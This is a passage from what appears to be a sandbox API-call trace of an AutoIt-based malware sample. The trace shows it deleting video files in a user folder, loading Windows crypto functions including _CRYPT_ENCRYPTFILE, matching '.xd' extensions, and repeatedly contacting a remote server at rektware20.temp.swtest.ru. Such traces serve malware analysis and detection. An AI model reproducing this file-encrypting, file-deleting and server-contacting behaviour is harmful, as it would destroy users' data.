hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.694] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.694] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0066.694] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0066.694] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0066.694] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0066.694] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0066.694] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0066.694] CryptReleaseContext (hProv=0x17aa6f8, dwFlags=0x0) returned 1 [0066.694] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.694] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.694] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0066.694] FreeLibrary (hLibModule=0x74c60000) returned 1 [0066.695] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.695] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.695] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.695] CloseHandle (hObject=0x2ac) returned 1 [0066.695] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.695] CloseHandle (hObject=0x3bc) returned 1 [0066.699] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.699] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0066.699] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\oQzTDAtJ6.mp4", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\oQzTDAtJ6.mp4", lpFilePart=0x0) returned 0x3f [0066.699] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\oQzTDAtJ6.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\oqztdatj6.mp4")) returned 0x20 [0066.700] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\oQzTDAtJ6.mp4", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c8b0 [0066.700] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\oQzTDAtJ6.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\oqztdatj6.mp4")) returned 1 [0066.704] FindNextFileW (in: hFindFile=0x164c8b0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0066.705] FindClose (in: hFindFile=0x164c8b0 | out: hFindFile=0x164c8b0) returned 1 [0066.705] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0066.705] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.705] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.705] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.705] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rf6-Cq.mp4", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0066.706] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0066.706] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.706] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0066.706] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0066.706] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0066.706] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0066.706] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e50, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620e50, lpdwBufferLength=0x130ef8c) returned 1 [0066.706] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0066.706] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0066.706] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0066.707] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0066.707] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0066.707] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0066.707] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629310, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629310*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0066.708] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629130, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629130*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0066.708] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0066.708] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0066.708] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0066.708] CloseHandle (hObject=0x0) returned 0 [0066.708] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.708] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.708] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.708] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.708] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.708] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.708] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.708] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.708] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.708] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.709] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.709] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.709] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.709] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.709] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.709] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.709] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.709] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.709] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.709] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.709] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Videos\\So-1KCafWr2NHN2gajyB\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.709] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Videos\\So-1KCafWr2NHN2gajyB\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.709] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Videos\\So-1KCafWr2NHN2gajyB\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.709] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ideos\\So-1KCafWr2NHN2gajyB\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.709] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="deos\\So-1KCafWr2NHN2gajyB\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.709] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eos\\So-1KCafWr2NHN2gajyB\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.709] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="os\\So-1KCafWr2NHN2gajyB\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.709] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\So-1KCafWr2NHN2gajyB\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.709] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\So-1KCafWr2NHN2gajyB\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.709] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="So-1KCafWr2NHN2gajyB\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.709] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="o-1KCafWr2NHN2gajyB\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.709] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-1KCafWr2NHN2gajyB\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.709] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1KCafWr2NHN2gajyB\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.709] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="KCafWr2NHN2gajyB\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.709] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CafWr2NHN2gajyB\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.709] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="afWr2NHN2gajyB\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.709] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fWr2NHN2gajyB\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.709] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Wr2NHN2gajyB\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.709] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="r2NHN2gajyB\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.709] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2NHN2gajyB\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.709] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NHN2gajyB\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.709] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HN2gajyB\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.709] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="N2gajyB\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.709] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2gajyB\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gajyB\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ajyB\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jyB\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yB\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="B\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rf6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="f6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Cq.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="q.mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0066.710] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mp4", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0066.710] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0066.710] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0066.710] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0066.710] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0066.710] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0066.710] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0066.710] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0066.710] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0066.710] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620da8, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620da8, lpdwBufferLength=0x130ee1c) returned 1 [0066.710] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0066.710] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0066.711] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0066.711] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0066.711] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0066.711] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0066.711] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629290, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629290*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0066.711] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16293a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16293a0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0066.711] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0066.712] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0066.712] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0066.712] CloseHandle (hObject=0x0) returned 0 [0066.712] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.712] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\rf6-Cq.mp4", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d070 [0066.712] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0066.712] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0066.712] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0066.712] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.712] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0066.712] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0066.712] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.712] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0066.713] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.713] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.713] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0066.713] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.713] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0066.713] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.713] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0066.713] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0066.713] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0066.713] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0066.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0066.713] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0066.714] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0066.714] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0066.714] 